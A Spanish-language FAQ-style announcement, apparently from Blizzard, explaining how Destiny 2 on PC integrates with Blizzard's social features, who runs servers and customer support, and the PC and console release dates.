Destiny 2 se integrará en la mayoría de las características sociales existentes de Blizzard: podréis hablar a través del chat con amigos que jueguen a Destiny 2 de la misma manera que lo hacéis ahora con los juegos de Blizzard. Asimismo, los jugadores de este juego podrán añadir amigos y formar grupos del mismo modo que los jugadores de títulos de Blizzard. Además, veréis un icono de estado de Destiny 2 al lado de los amigos que estén jugando a Destiny 2, igual que cuando vuestros amigos juegan a StarCraft II, Diablo III, WoW, Heroes of the Storm, Hearthstone, y Overwatch.

¿Dónde y cuándo estará disponible Destiny 2 para PC?

Estamos encantadísimos de trabajar con Bungie para traer la versión para PC de Destiny 2 a todas las regiones en las que opera Blizzard actualmente. Bungie está trabajando sin descanso en los detalles globales del lanzamiento. Nos morimos de ganas por compartir más información con vosotros, algo que haremos más adelante.¿Quién se ocupará del funcionamiento de los servidores de Destiny 2?

Del mantenimiento de los servidores de Destiny 2 se encargará Bungie; los servidores de Blizzard se utilizarán para características relacionadas con la plataforma de Blizzard, como el inicio de sesión y las funciones sociales.

¿Y qué hay de la asistencia al cliente?

Bungie se ocupará de la asistencia al cliente para la experiencia de juego de Destiny 2: Blizzard gestionará la asistencia al cliente para los asuntos relacionados con la plataforma y la tienda que sean específicos de nuestro servicio.

Fecha de lanzamiento:
PC: 24 de Octubre
Consolas: 6 de Septiembre

Fuente